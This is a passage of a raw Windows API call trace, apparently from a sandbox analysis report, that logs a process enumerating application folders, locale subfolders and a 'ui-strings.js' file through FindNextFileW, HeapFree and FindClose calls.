ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app", cAlternateFileName="CREATE~1")) returned 1 [0189.017] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.017] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0189.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.019] FindNextFileW (in: hFindFile=0x4121648, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0189.019] FindClose (in: hFindFile=0x4121648 | out: hFindFile=0x4121648) returned 1 [0189.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.019] FindNextFileW (in: hFindFile=0x4120fc8, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0189.019] FindClose (in: hFindFile=0x4120fc8 | out: hFindFile=0x4120fc8) returned 1 [0189.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014808 | out: hHeap=0x420000) returned 1 [0189.019] FindNextFileW (in: hFindFile=0x4121288, lpFindFileData=0x30de420 | out: lpFindFileData=0x30de420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0189.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.019] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0189.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.020] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0189.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.020] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0189.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.020] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0189.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.020] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0189.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.020] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0189.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.020] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0189.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.021] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0189.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.021] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0189.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.021] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0189.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.021] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0189.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.021] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0189.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.021] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0189.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.022] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0189.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.022] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0189.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.022] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0189.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.022] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0189.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.022] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0189.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.022] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0189.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.023] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0189.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.023] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0189.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.023] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0189.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.023] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0189.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.023] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0189.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.023] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0189.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.024] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0189.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.024] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0189.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.024] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0189.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.024] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0189.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.024] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0189.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.024] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0189.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.025] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0189.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.025] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0189.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ef0058 | out: hHeap=0x420000) returned 1 [0189.025] FindNextFileW (in: hFindFile=0x41211c8, lpFindFileData=0x30ddf28 | out: lpFindFileData=0x30ddf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0189.025] FindClose (in: hFindFile=0x41211c8 | out: hFindFile=0x41211c8) returned 1 [0189.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ee0050 | out: hHeap=0x420000) returned 1 [0189.025] FindNextFileW (in: hFindFile=0x4121788, lpFindFileData=0x30de1a4 | out: lpFindFileData=0x30de1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, 